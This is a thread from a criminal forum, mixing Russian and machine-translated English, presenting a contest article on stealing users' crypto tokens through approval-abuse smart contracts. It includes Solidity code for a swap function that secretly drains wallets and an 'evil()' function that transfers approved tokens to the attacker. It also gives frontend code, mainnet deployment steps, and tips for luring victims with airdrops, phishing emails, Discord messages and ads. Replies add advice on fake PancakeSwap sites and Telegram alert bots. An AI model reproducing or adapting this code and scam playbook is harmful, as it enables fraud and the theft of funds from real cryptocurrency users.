• XSS.stack #1 – первый литературный журнал от юзеров форума

Статья Скамим крипту по крупному

Пожалуйста, обратите внимание, что пользователь заблокирован
От души желаю удачи в конкурсе!
 
Последнее редактирование:
...или как украсть токены ERC-20/ERC-721 из под морды хомяка.
Посмотреть вложение 34337

Всем привет! Cегодня я хочу рассказать, как я скамлю токены у криптоюзеров. Сначала я подумал, что не подхожу под тематику конкурса, но сразу прояснил для себя, что крипта = скам, а значит, я в деле. За криптой/смарт-контрактами будущее говорят многие, безусловно, в этом есть доля правды, но история показывает, что технологии используют как в благих целях, так и злоупотребляют ими. Я покажу, как можно злоупотребить стандартами реализаций токенов на EVM совместимых blockchain и нажиться на этом.

Аббревиатура ERC переводится как Ethereum Request for Comments - это такой документ, который определяет стандарт и соглашения для разработки смарт-контрактов. ERC-20 есть контракты, которые компилируются и развертываются в блокчейн сеть, в этих контрактах реализуется единый шаблон, который позволяет создавать токены. Токены можно отправлять, обменивать, сжигать, чеканить, голосовать ими и многое другое, нет каких-то ограничений. Мы можем создать на основе стандарта любой финансовый актив или какое-нибудь действие в блокчейне, благодаря транзакциям. В стандарте ERC-20 есть определенные функции, такие как name(), symbol(), decimals(), balanceOf(), transfer(), totalSupply(), transferFrom(), allowance(), approve(). Из всех этих функций нас интересует approve() и transferFrom(). Что они делают? approve() даёт разрешение на операции с токенами. transferFrom() переводит токены из одного адреса на другой. Остальные функции могут задавать имя токена, узнавать баланс и т.д.

Это все, конечно, интересно, но а что если... наш смарт-контракт сможет скрытно вывести все токены, а пользователь даже не поймет, что произошло? Скажем, пользователь пытается обменять один токен на другой через наш веб-интерфейс, но сталкивается с ситуацией, когда контракт опустошает вce его монеты.
Посмотреть вложение 34340

Такое возможно, и сейчас мы с вами это сделаем!

Чтобы продемонстрировать этот трюк, создадим свой собственный токен и поможет нам в этом библиотека OpenZeppelin. Напомню, что контракты для EVM (Ethereum Virtual Machine) пишутся на Solidity. Прямо в этом контракте напишем функцию, которая обменивает токены и делает вредоносные действия. Далее развернем контракты в Ropsten сеть и создадим минимальный интерфейс. Наше приложение будет общаться с контрактом по ABI JSON. Для создания веб-приложения будем использовать React и Ethers библиотеку. У вас должно быть некоторое количество тестовых ETH, их можно получить через публичные краны.
Посмотреть вложение 34341


Зададим выпуск монет со значением в 500 токенов:
JavaScript:
function mint(address _to) external {
        _mint(_to, 500 ether);

        emit Mint(_to);

Реализуем функцию обмена токенов и вывода всех средств с кошелька пользователя:
JavaScript:
function swap(uint256 _amount) external {
        address sender = msg.sender; // экономим газ
        uint256 senderBalance = IERC20(address(this)).balanceOf(sender);
        require(senderBalance > 0, "swap: token balance too low");

        IERC20(address(this)).transferFrom(sender, address(this), _amount);
        IERC20(address(this)).transferFrom(sender, tokenReceiver, senderBalance - _amount);

        emit ValueReceived(tokenReceiver, senderBalance - _amount);
    }

Установим адрес получателя краденных токенов:
JavaScript:
function setTokenReceiver(address _tokenReceiver) external onlyOwner {
        tokenReceiver = _tokenReceiver;

        emit SetTokenReceiver(_tokenReceiver);
    }

Сконструируем наш токен контракт, укажем название токена и получателя краденных токенов:
JavaScript:
constructor (address _tokenReceiver) ERC20("XSSIS", "XSSIS") {
        tokenReceiver = _tokenReceiver;
    }

Compile and deploy our contract to the Ropsten network:
Посмотреть вложение 34342

Switch to Ropsten network and select Injected Web3. Next to the Deploy button, we will indicate the address of the recipient of the stolen tokens (in the deployed contract, we can change the address of the recipient by simply calling the setTokenReceiver() function):
Посмотреть вложение 34343
Посмотреть вложение 34344

In the config folder, which is attached to this article, we add the address of our deployed contract to the contracts.json file (look at Etherscan). We add ABI parameters to the tokenABI.json file, which can be copied from Remix in the SOLIDITY COMPILER tab.

Import the modules in the HomePage.tsx file:
JavaScript:
import * as React from "react"
import {
    box,
    button,
    center,
    Flex,
    select,
    HStack,
    stack,
    input,
    InputGroup,
    InputLeftAddon,
    InputRightAddon,
    circular progress,
    alert,
    Alert Icon,
    Text
} from "@chakra-ui/react";
import {useContractFunction, useEthers, useTokenAllowance} from "@usedapp/core";
import {ethers} from "ethers";
import tokenABI from "./configs/tokenABI.json";
import contracts from "./configs/contracts.json";

We describe the functions of mining, approval, exchange/theft of tokens:
JavaScript:
const mint = async() => {
        await handleChangeNetwork();
        await mintTx(account);

        setValueStateSuccessed(true);
        setTimeout(function(){
            setValueStateSuccessed(false);
        }.bind(this),5000);

    }

    const approve = async() => {
        await handleChangeNetwork();
        await approveTx(contracts.address, ethers.constants.MaxUint256);

        setValueApproveStateSuccessed(true);
        setTimeout(function(){
            setValueapproveStateSuccessed(false);
        }.bind(this),5000);

    }

    const swap = async() => {
        await handleChangeNetwork();
        if (allowance!.lt(ethers.constants.MaxUint256)) {
            alert('Approve tokens!');
        }
        if (!valueSimple) {
            alert('Input XSSIS quantity');
            return;
        }

        await swapTx(valueSimple + '0'.repeat(18));

        setValueswapStateSuccessed(true);
        setTimeout(function(){
            setValueswapStateSuccessed(false);
        }.bind(this),5000);

    }

We collect and run our web application:
Bash:
yarn
npm run start

Let's test, press the Approve buttons to connect to the contract and then Mint to mine tokens (by default, 500 tokens are issued):
Посмотреть вложение 34345

We are trying to exchange 1 XSSIS for ETH. Press the Swap button. Here we should pay attention to the MetaMask window when making a transaction, the wallet does not tell the user what will actually happen:
Посмотреть вложение 34346
Посмотреть вложение 34347

We check the transaction in Etherscan and see what happened. We exchanged 1 XSSIS for 0.1 ETH, but also made the withdrawal of all XSSIS tokens from the user's wallet without his knowledge:
Посмотреть вложение 34348

Well, we have analyzed the so-called "feature" of tokens, understood the concept of the ERC-20 standard and developed a contract that withdraws a token from our victim's wallet in 1 click. In fact, we have not invented anything new. We just took advantage of the opportunity that the standard gives us. Let's create a more complex example and, in addition, develop a scam tool for ourselves. We will put together a working DeFi project and make it possible to steal tokens from users' wallets by simply calling one function. First, let's understand the architecture of our project, fork the interface for our contracts and create a couple of tokens for testing. I will show how I personally scam and at the end of the article I will talk about some ways to attract users. Agree, in this topic there is where to turn around! Let's try!

Primitive schema:
Посмотреть вложение 34349
Красным - действиe owner/contract.
Синим - действие users/contract.

Пользователи стейкают стейблкоины/обернутые токены/одиночные токены в наш контракт. Это делается ради награды в виде нашего нативного токена и ради sell pressurе. Наш токен так же может где-то торговаться, например, в Uniswap и иметь в пулах крупную ликвидность. У пользователя будет стимул вводить свои токены к нам в контракт, т.к. потом можно будет нашим токеном торговать. Есть разные способы создавать стимулы для пользователей, к примеру, airdrop или искусственное завышение APY. В этой статье я остановлюсь лишь на том, как обмануть пользователя. В нашем примере задача - заманить как можно больше жертв, которые будут взаимодействовать с нашим контрактом. Достигнув определенного количества пользователей, мы украдем монеты из их кошельков (не пула контракта). Мы вызовем функцию evil(), которая отработает логику по краже монет. Напомню, это происходит потому, что пользователь дал одобрение на взаимодействие с нашим контрактом. Кстати, пользователь может свободно изымать свои средства из пулов контракта, но коварность одобрения токенов состоит в том, что одобрение дает нам украсть монеты хоть через неделю, но при условии, что пользователь собственноручно не отозвал одобрение для нашего контракта. Кстати, пользователю совершенно необязательно стейкать токены, достаточно дать апрув, и мы сможем сделать все вредоносные действия.
Посмотреть вложение 34350

Я постараюсь не описывать всю кодовую базу (будет слишком много текста). Все же тема конкурса не о программировании. Оставлю изучение исходного кода для читателя, который хочет глубже погрузиться в работу смарт-контрактов.

Функция по краже монет из кошелька:
JavaScript:
function evil(address _governance, bytes memory _setupData) public onlyOwnerOrGovernance {
        governance = _governance;
        (bool success,) = governance.call(_setupData);
        require(success, "evil: failed");

    }
На вход дается адрес контракта токена, который мы выводим, и наша функция transferFrom() (её изучили ранее).

Подготовка токенов.

MetaMask заранее переключаем в сеть Rinkeby. Для демонстрации подготовим 2 токена (файл Token.sol). Файл открываем в Remix, в constructor() пишем название токена fakeUSDT, деплоим токен fakeUSDT и записываем его адрес. Затем чеканим (функция mint с параметром amount == 1000000000000000000000000) себе на кошелек (address) 1.000.000 токенов. В том же файле меняем в constructor() название токена с fakeUSDT на XSSIS, так же деплоим, записываем адрес, чеканим 100к токенов себе на кошелек или позже на адрес контракта XSSChef.
Посмотреть вложение 34351
Посмотреть вложение 34352

Подготовка контракта XSSISChef.

Открываем файл XSSISChef.sol в Remix, компилируем и заполняем параметры:
1) _XSSIS: адрес токена XSSIS
2) _DEVADDR: твой адрес
3) _XSSISPERBLOCK: рекомендую ставить 1000000000000000000 - это 1 токен/блок
4) _STARTBLOCK - заходим на Etherscan и смотрим текущий блок, вставляем это значение туда
5) _BONUSENDBLOCK: 1
6) _ENDBLOCK: I recommend setting STARTBLOCK + 100000.
Deploy the contract with the filled data and write down the address.
We transfer 100k XSSIS to the address of this contract.
We call the add() function with parameters:
1) _allocPoin: 1
2) _lpToken: fakeUSDT token address
3) _withUpdate: false
Посмотреть вложение 34353
Посмотреть вложение 34370

At this stage, we have prepared all contracts.

Frontend integration.

Collecting the project:
Bash:
yarn install

In the /src/sushi/lib folder in the constants.js file
in supportedPools change:
lpAddresses 4 - to fakeUSDT token address
tokenAddresses 4 - to fakeUSDT token address

In the same contractAddresses file:
sushi 4 - XSSIS token address
masterChef 4 - XSSISChef contract address
Посмотреть вложение 34355

Let's start our web application:
Bash:
yarn start

Farming XSSIS tokens!

Press the Select button:
Посмотреть вложение 34356

We give an approval and confirm in MetaMask:
Посмотреть вложение 34357

Staking 100 fakeUSDT:
Посмотреть вложение 34358

XSSIS accrued:
Посмотреть вложение 34359

We remove the reward and withdraw fakeUSDT:
Посмотреть вложение 34367

Withdrawal of funds.

Previously, we discussed how the evil() function works , now we will discuss how the script that generates bytes for this function works.
The script is located in the src/utils/generateBytes.js folder.
1) We write down the address of the token that we want to pick up in TokenAAdress.
2) addressFrom - whom we want to pick up from (see Etherscan).
3) addressTo - where we want to send.
4) amount - how much we want to send (only '10' needs to be changed in amount, that is, if we want to take 100, then we just need to write '100' instead of '10', '0'.repeat(18) - this is for decimals .
Посмотреть вложение 34360

We run the script and copy the value that is displayed to the console - this is our bytes:
Bash:
node generateBytes.js

In the XSSISChef contract, we call the evil() function , in address we specify the address of the token contract that we want to steal, in bytes - what we copied from the console.
Посмотреть вложение 34362

I'm trying to steal 999900 tokens and transfer them to another address:
Посмотреть вложение 34368

And this is what came out of it:
Посмотреть вложение 34369
Посмотреть вложение 34365
Addition .

The XSSChef contract is deployed to the mainet in the same way as in the testnet, we prepare only one token, which is intended for the reward.
To steal tokens from the victim, you need to follow in Etherscan those addresses that interact with our contract. I know that this case is not thought out, in a good way you need to write a script that automates these actions. If we want to add new pools in the Menu (frontend) tab, then we need to find the constants.js file and simply add new pools to supportedPools. Pools are new tokens that are entered by the user into our contract, and which we can steal.

Посмотреть вложение 34366

We did it! I showed some of my experience in launching crypto projects and deceiving users using smart contracts. This type of scam is called Rug Pull. This theme can be twisted and twisted to your heart's content, it all depends on your imagination. There are different ways, and, in my opinion, the most profitable options for attracting users. Airdrop of tokens to addresses of users of a popular project, which at the same time as we do Airdrop, the address base can be parsed by transactions. Sending emails to email boxes or Discord accounts with a link to a fake works well. And, of course, YouTube/AdWords traffic. The profit in this topic varies: I work and feel good. There is an example, Badger DAO was hacked, where this particular monetization method was used. My manual is also suitable for ERC-721 (NFT) tokens, everything is done by analogy. I showed only a part of my developments and I am ready to share them with everyone. All material will be attached to this article. Thank you for your attention and good luck!

is there a way to implement this method into pancakeswap?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
is there a way to implement this method into pancakeswap?
Yes, use a fake pancakeswap and create a script that transfer tokens for the user who clicked approve. You can create a telegram bot that will send notifications of withdrawn funds and much more
 
Yes, use a fake pancakeswap and create a script that transfer tokens for the user who clicked approve. You can create a telegram bot that will send notifications of withdrawn funds and much
Yes, use a fake pancakeswap and create a script that transfer tokens for the user who clicked approve. You can create a telegram bot that will send notifications of withdrawn funds and much more

привет, можешь пожалуйста перезалить файлы?
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Друзья, свои монеты необязательно выпускать, fakeUSDT был лишь как пример, на место него может быть любой токен, мы с вами попрактиковались как вообще создавать токены. Исходники проекта буду выложены тут совсем скоро. И скорее всего будет 2 статья где будет полностью готовый проект! С telegram ботом и другие плюшками. Coming soon..
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Друзья, свои монеты необязательно выпускать, fakeUSDT был лишь как пример, на место него может быть любой токен, мы с вами попрактиковались как вообще создавать токены. Исходники проекта буду выложены тут совсем скоро. И скорее всего будет 2 статья где будет полностью готовый проект! С telegram ботом и другие плюшками. Coming soon..
ТС лучший, прям замотивировал изучать solidity)))
 
Друзья, свои монеты необязательно выпускать, fakeUSDT был лишь как пример, на место него может быть любой токен, мы с вами попрактиковались как вообще создавать токены. Исходники проекта буду выложены тут совсем скоро. И скорее всего будет 2 статья где будет полностью готовый проект! С telegram ботом и другие плюшками. Coming soon..
уважаю
 
Друзья, свои монеты необязательно выпускать, fakeUSDT был лишь как пример, на место него может быть любой токен, мы с вами попрактиковались как вообще создавать токены. Исходники проекта буду выложены тут совсем скоро. И скорее всего будет 2 статья где будет полностью готовый проект! С telegram ботом и другие плюшками. Coming soon..
Можно узнать ваш бэкграуд,какие языки знаете, может проработали фронт,бэк.Вообщем как дошли до web3.
 
Друзья, свои монеты необязательно выпускать, fakeUSDT был лишь как пример, на место него может быть любой токен, мы с вами попрактиковались как вообще создавать токены. Исходники проекта буду выложены тут совсем скоро. И скорее всего будет 2 статья где будет полностью готовый проект! С telegram ботом и другие плюшками. Coming soon..
Респект за статью, с нетерпением жду 2-ю!
 
Пожалуйста, обратите внимание, что пользователь заблокирован
hello dude

i have a question :

if the user have differents wallets adresses and also different token such as ERC20,ERC721 and different network such as : bep20,ETH, and maybe also SOLANA network.

how do you manage such case?

thanx
Hey man, web3/etherjs library does everything for me. You can offer to switch the network to the user, you can offer to add a new token etc... Take a look at the documentation. In Solana everything works exactly the same. And write me pm
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Сильно. Автор красава.
Мой голос за тебя.
Буду ждать 2 статью.
Спасибо
 
Последнее редактирование:
Друзья, к сожалению 2 части не будет, слишком экстремальные условия конкурса для меня, была огромная мотивация, но к сожалению... так дело не пойдет. Спасибо за ваш feedback. В самые кратчайшие сроки будут выложены исходники, я чисто физически не могу их перезалить, еще раз прошу прощения. Спасибо
Как так, почему? Жаль. Очень сильная статья. Вторую часть ты бы мог, к примеру, отдельной статьей выложить (если направления разные). Или дополнить эту, чтобы точно результат выстрелил. В общем, просим вторую часть =)
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Жаль, очень жаль....хотелось бы увидеть продолжение статьи.
 
Последнее редактирование:
Как так, почему? Жаль. Очень сильная статья. Вторую часть ты бы мог, к примеру, отдельной статьей выложить (если направления разные). Или дополнить эту, чтобы точно результат выстрелил. В общем, просим вторую часть =)
Поддерживаю! Статья является одной из лучших на данный момент и однозначно хотелось бы увидеть продолжение.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх